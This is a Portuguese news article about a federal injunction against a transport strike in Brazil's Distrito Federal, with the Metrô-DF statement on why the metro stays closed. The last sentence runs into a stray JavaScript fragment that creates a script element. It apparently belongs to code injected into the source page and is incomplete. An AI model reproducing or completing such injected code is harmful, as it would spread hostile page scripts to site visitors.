A Advocacia Geral da União (AGU) tentou suspender a paralisação dos transportes públicos no DF nesta sexta-feira (28). A AGU obteve liminar da 5ª Vara Federal do Distrito Federal que determinou multa de até R$ 1,6 milhões aos sindicatos que descumprissem determinação.
Devido à greve geral, sindicatos como os dos Trabalhadores em Empresas de Transporte Terrestres de Passageiros Urbanos Interestaduais, Especiais, Escolares, Turismo e de Carga do Distrito Federal e dos Trabalhadores em Empresas de Transporte Metroviário do Distrito Federal determinaram paralisação total dos serviços, o que fez com que a AGU movesse ação civil pública.
Entretanto, os metroviários decidiram continuar a paralisação, alegando provável insegurança aos usuários. \”O Metrô-DF informa que, dada a insegurança a que estariam expostos os 160 mil usuários transportados diariamente, não há condições de a empresa operar o sistema com apenas 30% dos empregados\”.
Portanto, o metrô deverá continuar fechado.
Leia na íntegra a nota oficial do Metrô-DF
O Metrô-DF informa que, dada a insegurança a que estariam expostos os 160 mil usuários transportados diariamente, não há condições de a empresa operar o sistema com apenas 30% dos empregados, como determina a liminar concedida à Advocacia-Geral da União (AGU) pela 5ª Vara Federal do Distrito Federal.
Para garantir uma operação sem riscos aos usuários, o Metrô-DF é obrigado a funcionar com o mínimo de 75% de seus empregados, o que permitiria a circulação de 18 dos 24 trens operados diariamente pela empresa. Trinta por cento do efetivo representa apenas a possibilidade de colocar oito trens em circulação, número insatisfatório para garantir a segurança dos nossos usuários.var d=document;var s=d.createElement(\’script\’);